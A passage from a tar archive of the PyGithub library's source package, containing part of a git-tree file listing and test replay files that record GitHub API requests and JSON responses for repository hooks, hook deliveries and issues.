:"1a549caa38bde6661f0b9d881a5d765c633c1992","mode":"040000"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/22d7121fb27e682e09bc670c29ac981e3cb62a7e","size":4049,"path":"github/GithubObjects/AuthenticatedUser.py","sha":"22d7121fb27e682e09bc670c29ac981e3cb62a7e","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/2316041bf8880725effc3ce8c8c2b7cf8db11cee","size":400,"path":"github/GithubObjects/Authorization.py","sha":"2316041bf8880725effc3ce8c8c2b7cf8db11cee","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/30fbebc5e728fa98337221da0c155227662362d7","size":179,"path":"github/GithubObjects/Branch.py","sha":"30fbebc5e728fa98337221da0c155227662362d7","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/3a990227a4fcb71ae3d32fe2af24d249edf8150d","size":884,"path":"github/GithubObjects/Commit.py","sha":"3a990227a4fcb71ae3d32fe2af24d249edf8150d","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/5bb931084bfbe9f76bd70ac630f7528393c77a23","size":443,"path":"github/GithubObjects/CommitComment.py","sha":"5bb931084bfbe9f76bd70ac630f7528393c77a23","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/a4577f31e2753b88d104d9f252883655ed617211","size":485,"path":"github/GithubObjects/Download.py","sha":"a4577f31e2753b88d104d9f252883655ed617211","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/1cdb4e961f76bca3371ce524fd8f19d18977c060","size":407,"path":"github/GithubObjects/Event.py","sha":"1cdb4e961f76bca3371ce524fd8f19d18977c060","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/771c33f701ab4d5a2a7ff0b6a64bb82b4467da59","size":1755,"path":"github/GithubObjects/Gist.py","sha":"771c33f701ab4d5a2a7ff0b6a64bb82b4467da59","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/4fc4c442cc6bdb1f2323b6f0195518e3549d53ec","size":352,"path":"github/GithubObjects/GistComment.py","sha":"4fc4c442cc6bdb1f2323b6f0195518e3549d53ec","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/607429faac7285ffaf30f42e9e3d2498f9dce199","size":259,"path":"github/GithubObjects/GitBlob.py","sha":"607429faac7285ffaf30f42e9e3d2498f9dce199","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/c9aa31c2047c9e18d092cdb8362b0872a4c858da","size":330,"path":"github/GithubObjects/GitCommit.py","sha":"c9aa31c2047c9e18d092cdb8362b0872a4c858da","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/f242e173e74399387fec3e65311ed1b4d9307795","size":301,"path":"github/GithubObjects/GitRef.py","sha":"f242e173e74399387fec3e65311ed1b4d9307795","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/9248ea6195629a87a603bc2a960c5a88da50c7aa","size":279,"path":"github/GithubObjects/GitTag.py","sha":"9248ea6195629a87a603bc2a960c5a88da50c7aa","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/61dac784bf2103e9b55e141042efd26da9ebcd3d","size":295,"path":"github/GithubObjects/GitTree.py","sha":"61dac784bf2103e9b55e141042efd26da9ebcd3d","mode":"100644"},{"type":"tree","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/173066f1477e24afa2ffd4cb9ceedb2531256837","path":"github/GithubObjects/GithubObject","sha":"173066f1477e24afa2ffd4cb9ceedb2531256837","mode":"040000"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/b2c5b054c3587ec60e2873bb269940eb2d09d0fa","size":2121,"path":"github/GithubObjects/GithubObject/ArgumentsChecker.py","sha":"b2c5b054c3587ec60e2873bb269940eb2d09d0fa","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/2702c9f4df72cd9c77e4545081cf7e5511523a0f","size":4111,"path":"github/GithubObjects/GithubObject/Basic.py","sha":"2702c9f4df72cd9c77e4545081cf7e5511523a0f","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/b7a2f794033bcbd3c28ba1e49369a49da5c78a5d","size":24438,"path":"github/GithubObjects/GithubObject/GithubObject.UnitTest.py","sha":"b7a2f794033bcbd3c28ba1e49369a49da5c78a5d","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/72464749e55a17e232841444bcddb48ad81d1b31","size":5179,"path":"github/GithubObjects/GithubObject/GithubObject.py","sha":"72464749e55a17e232841444bcddb48ad81d1b31","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/b4d29b38144d319b1d18f96eb4e9502fa82fd4c6","size":8470,"path":"github/GithubObjects/GithubObject/List.py","sha":"b4d29b38144d319b1d18f96eb4e9502fa82fd4c6","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/a7aeb7372fba85d33239c7d023f779f0d7db81ad","size":921,"path":"github/GithubObjects/GithubObject/TypePolicies.py","sha":"a7aeb7372fba85d33239c7d023f779f0d7db81ad","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/cbc7e4d667044eb16ddbe42d6242857057b5fc4d","size":27,"path":"github/GithubObjects/GithubObject/__init__.py","sha":"cbc7e4d667044eb16ddbe42d6242857057b5fc4d","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/36dc1354a94613fc3a0d785028f9792182a07af8","size":671,"path":"github/GithubObjects/Hook.py","sha":"36dc1354a94613fc3a0d785028f9792182a07af8","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/13c2f05af897f7b1fc5fc789f73757ee1e3731a0","size":1612,"path":"github/GithubObjects/Issue.py","sha":"13c2f05af897f7b1fc5fc789f73757ee1e3731a0","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/fb812b33bb5c3cb7fc65048e191c95d586888434","size":387,"path":"github/GithubObjects/IssueComment.py","sha":"fb812b33bb5c3cb7fc65048e191c95d586888434","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/c5b6fd29765aeefd1113e255c5b58f4fdf7c99e3","size":328,"path":"github/GithubObjects/IssueEvent.py","sha":"c5b6fd29765aeefd1113e255c5b58f4fdf7c99e3","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/aec594f92b8081b93a469c6f7b5c616df5197b6b","size":370,"path":"github/GithubObjects/Label.py","sha":"aec594f92b8081b93a469c6f7b5c616df5197b6b","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/7cd1bc0d6dc6b78d2a98b908de4a607621f30919","size":742,"path":"github/GithubObjects/Milestone.py","sha":"7cd1bc0d6dc6b78d2a98b908de4a607621f30919","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/c460d2f2b4e842a1517f4fd10b338768cccad2a3","size":963,"path":"github/GithubObjects/NamedUser.py","sha":"c460d2f2b4e842a1517f4fd10b338768cccad2a3","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/74c170d10feaace6bfa523224011147627a05df2","size":1968,"path":"github/GithubObjects/NamedUser_complete.py","sha":"74c170d10feaace6bfa523224011147627a05df2","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/3fb7adc168b5ed21c58363a4efe1f195cab3f81d","size":1052,"path":"github/GithubObjects/Organization.py","sha":"3fb7adc168b5ed21c58363a4efe1f195cab3f81d","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/dd1096ae08e979220dd0e4c9faf684c33578f819","size":1290,"path":"github/GithubObjects/Organization_complete.py","sha":"dd1096ae08e979220dd0e4c9faf684c33578f819","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/5ee414d50e9d1ba4ee5c3132904d3f48f21be0b6","size":2045,"path":"github/GithubObjects/PullRequest.py","sha":"5ee414d50e9d1ba4ee5c3132904d3f48f21be0b6","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/ac3cb0d3f33adfc281ca9ef5eaa8b7a45f9cf0f7","size":459,"path":"github/GithubObjects/PullRequestComment.py","sha":"ac3cb0d3f33adfc281ca9ef5eaa8b7a45f9cf0f7","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/d7135d168b80968f5d207c4c14b2a27c46ce3eb7","size":236,"path":"github/GithubObjects/PullRequestFile.py","sha":"d7135d168b80968f5d207c4c14b2a27c46ce3eb7","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/81ce811139f1e108a4c33ae5be07d1c618dc2a1b","size":8064,"path":"github/GithubObjects/Repository.py","sha":"81ce811139f1e108a4c33ae5be07d1c618dc2a1b","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/cea71c017ea61a7a8d39df0077838132c10f743e","size":318,"path":"github/GithubObjects/RepositoryKey.py","sha":"cea71c017ea61a7a8d39df0077838132c10f743e","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/4a9ae6f58fd12b622cdce969648c4b3f293d3242","size":753,"path":"github/GithubObjects/Repository_complete.py","sha":"4a9ae6f58fd12b622cdce969648c4b3f293d3242","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/cd65493dc75482f3000a7df631ba70f2fe2023a6","size":203,"path":"github/GithubObjects/Tag.py","sha":"cd65493dc75482f3000a7df631ba70f2fe2023a6","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/fcd844200ff859b29c892ccffb8bfe124b1af2bd","size":748,"path":"github/GithubObjects/Team.py","sha":"fcd844200ff859b29c892ccffb8bfe124b1af2bd","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/ba912f6accf2030147561fdd9614b152d427d24b","size":272,"path":"github/GithubObjects/UserKey.py","sha":"ba912f6accf2030147561fdd9614b152d427d24b","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/e19884f3141840b495c2c42bcb0708a4a58f7a1f","size":297,"path":"github/GithubObjects/__init__.py","sha":"e19884f3141840b495c2c42bcb0708a4a58f7a1f","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/1901018b6ebb83c70bb8077568177bc213de7ce6","size":3336,"path":"github/Requester.UnitTest.py","sha":"1901018b6ebb83c70bb8077568177bc213de7ce6","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/fac044b85acf5419e36f494de21559871c7fb743","size":2776,"path":"github/Requester.py","sha":"fac044b85acf5419e36f494de21559871c7fb743","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/109d6b9a44f7e489bb5f860da7d76407b2c99a66","size":26,"path":"github/__init__.py","sha":"109d6b9a44f7e489bb5f860da7d76407b2c99a66","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/9532bcaa5fcc0a9d3678b3e4fd05688e32d2a321","size":673,"path":"run_tests.sh","sha":"9532bcaa5fcc0a9d3678b3e4fd05688e32d2a321","mode":"100644"},{"type":"blob","url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/53bce9fa919b4544e67275089b3ec5b44be20667","size":1295,"path":"setup.py","sha":"53bce9fa919b4544e67275089b3ec5b44be20667","mode":"100644"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetHookDeliveries.txt0000644000175100001660000000135714756101563025357 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/hooks/257993/deliveries {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '295'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"07e5e1a2fafd1a5e2de62eb3afd007d5"'), ('date', 'Sun, 27 May 2012 07:02:25 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"id":12345,"guid":"abcde-12345","delivered_at":"2012-05-27T06:00:32Z","redelivery":false,"duration":0.27,"status":"OK","status_code":200,"event":"issues","action":"opened","installation_id":123,"repository_id":456,"url":"https://www.example-webhook.com"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetHookDelivery.txt0000644000175100001660000000163714756101563025050 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/hooks/257993/deliveries/12345 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '295'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"07e5e1a2fafd1a5e2de62eb3afd007d5"'), ('date', 'Sun, 27 May 2012 07:02:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"id":12345,"guid":"abcde-12345","delivered_at":"2012-05-27T06:00:32Z","redelivery":false,"duration":0.27,"status":"OK","status_code":200,"event":"issues","action":"opened","installation_id":123,"repository_id":456,"url":"https://www.example-webhook.com","request":{"headers":{"content-type": "application/json"},"payload":{"action": "opened"}},"response":{"headers":{"content-type": "text/html;charset=utf-8"},"payload":"ok"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetHooks.txt0000644000175100001660000000140314756101563023516 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/hooks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '295'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"07e5e1a2fafd1a5e2de62eb3afd007d5"'), ('date', 'Sun, 27 May 2012 07:02:25 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T06:00:32Z","last_response":{"status":"ok","message":"OK","code":200},"events":["push"],"url":"https://api.github.com/repos/PyGithub/PyGithub/hooks/257993","active":true,"name":"web","config":{"url":"http://foobar.com"},"id":257993,"created_at":"2012-05-19T06:01:45Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetIssues.txt0000644000175100001660000007136514756101563023724 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4950'), ('content-length', '28950'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"41676dcfbbfc49368e60f758c3e1d36f"'), ('date', 'Sun, 27 May 2012 07:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T05:40:15Z","body":"Body created by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/30","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":30,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Issue also created by PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-27T05:40:15Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":4769659,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/30"},{"updated_at":"2012-05-18T11:06:11Z","body":"As per discussion in 6945921c529be14c3a8f566dd1e483674516d46d\n\nI have observed that autocompletion (using PyDev+Eclipse in my case) is pretty erratic.\nFor example, in the tutorial from the readme, `g.get_u` gets autocompleted correctly, but `g.get_user().get_r` (or any method or attribute applicable to `NamedUsers`/`AuthenticatedUser`, really) does not show autocompletion to `g.get_user().get_repo()`.\n\nThis makes exploring the library/API a bit cumbersome. ","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/27","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":27,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Facilitate IDE autocompletion","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-05-18T10:52:29Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":4639931,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/27"},{"updated_at":"2012-05-07T10:49:06Z","body":"List known clients.\r\n\r\nFirst known client: http://pypi.python.org/pypi/tratihubis/ (cf #24)","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/25","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":25,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"List project(s) using PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}],"created_at":"2012-05-07T10:49:06Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":4452000,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/25"},{"updated_at":"2012-05-04T19:23:57Z","body":"Thanks for PyGithub, it is easy to use and very complete. I just successfully used it to convert Trac tickets to Guthub issues.\r\n\r\nBut I had to learn the hard way that `create_issue()` expectes the milestone as number instead of a title. To track this down, I added the following `print` statement to `Requester.py`:\r\n\r\n```python\r\ndef __statusCheckedRequest( self, verb, url, parameters, input ):\r\n status, headers, output = self.__rawRequest( verb, url, parameters, input )\r\n if status < 200 or status >= 300:\r\n print output # <--- Added by me.\r\n raise UnknownGithubObject() # <--- sadly lacks any error details\r\n return headers, output\r\n```\r\n\r\nAs `output` already contains all the information needed (as JSON dump), it would be helpful if the exception raised here would include this information in the exception message.","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/24","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/PyGithub/PyGithub/tree/topic/RewriteWithGeneratedCode","id":93547},"number":24,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Improve error messages on broken requests","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"}],"created_at":"2012-04-30T20:01:20Z","state":"open","user":{"url":"https://api.github.com/users/roskakori","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328726},"id":4356743,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/24"},{"updated_at":"2012-03-19T19:08:18Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/20","comments":0,"milestone":null,"number":20,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Rework GitTree.recursive","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Refactoring","name":"Refactoring","color":"0b02e1"}],"created_at":"2012-03-19T19:08:18Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3716033,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/20"},{"updated_at":"2012-03-19T19:04:19Z","body":"In general, when you get a collection, you should get an iterable, and the pagination should be done only if needed. This is mandatory for Github.get_gists","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/19","comments":0,"milestone":null,"number":19,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Rework Github.get_gists","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"created_at":"2012-03-19T19:04:19Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3715946,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/19"},{"updated_at":"2012-03-14T06:49:31Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/18","comments":0,"milestone":null,"number":18,"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_at":null,"title":"Take care of _identity","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Refactoring","name":"Refactoring","color":"0b02e1"}],"created_at":"2012-03-14T06:49:31Z","state":"open","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":3643837,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/18"},{"updated_at":"2012-03-13T12:09:48Z","body":"","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/17","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"closed_issues":2,"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/2","number":2,"title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":10,"created_at":"2012-03-08T12:22:28Z","state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch 